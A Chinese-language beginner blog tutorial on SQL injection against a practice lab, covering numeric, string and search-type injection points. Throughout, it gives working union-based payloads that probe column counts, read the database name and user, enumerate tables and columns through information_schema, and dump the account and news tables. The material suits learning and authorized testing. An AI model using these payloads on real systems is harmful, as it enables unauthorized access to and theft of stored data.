SQL注入靶场实战-小白入门-硬件-IT技术博客

SQL注入靶场实战-小白入门

时间:2021-04-01 00:09:00 浏览: 字体: 放大 缩小


目录
  • SQL注入
    • 数字型
      • 1.测试有无测试点
      • 2.order by 语句判断字段长,查出字段为3
      • 3.猜出字段位(必须与内部字段数一致)(用union联合查询查看回显点为2,3)
      • 4.猜数据库名,用户
      • 5.联合查询(group_concat())点代表下一级,猜解当前数据库pentest中所有的表名。
      • 6.猜列名( account 表和 news 表)
      • 7.查询表中的数据
    • 字符型
      • 1.判断是否存在注入
      • 2.接下来利用order by判断字段长,带入SQL查询语句可直接查询出数据(查询语句和数字型一样)
    • 搜索型
      • 1.搜索型需要多闭合一个%,其他都与前面类似

SQL注入

数字型

1.测试有无测试点

and 1=1,and 1=2

2.order by 语句判断字段长,查出字段为3

  • order by 语句用于根据指定的列对结果集进行排序

  • order by后可以加列名,也可以加数字(代表第几列)

id = 1 order by 3(数字) //返回正常
id = 1 order by 4(数字) //返回异常       //说明字段长为3

3.猜出字段位(必须与内部字段数一致)(用union联合查询查看回显点为2,3)

id= -1 union select 1,2,3

4.猜数据库名,用户

id =-1 union select 1,database(),user()

5.联合查询(group_concat())点代表下一级,猜解当前数据库pentest中所有的表名。

id= -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

6.猜列名( account 表和 news 表)

id= -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='account'

id= -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='news'

7.查询表中的数据

id= -1 union select 1,group_concat(id,'--',title,'--',content),3 from news limit 0,1

id= -1 union select 1,group_concat(Id,'--',rest,'--',own),3 from account limit 0,1


字符型

1.判断是否存在注入

1' or '1'='1      //返回正常
1' or '1'='2	  //返回异常

2.接下来利用order by判断字段长,带入SQL查询语句可直接查询出数据(查询语句和数字型一样)

1' order by 3#       //返回正常
1' order by 4# 		 //返回异常

//注意#号用途:#起注释作用,会注释掉后面的' 单行注释还可用-- (--后面需加一个空格)

//注意后面的SQL查询语句末尾都得加一个#


搜索型

1.搜索型需要多闭合一个%,其他都与前面类似

  • 首先判断注入点

    1%' or 1=1#
    1%' or 1=2#
    

    下面就和前面数字型步骤一样,带入查询语句即可

    1%' union select 1,database(),user()#    	  //比如这里查询数据库名和用户
    

标签: SQL注入靶场实战-小白入门sql注入靶场实战小白入门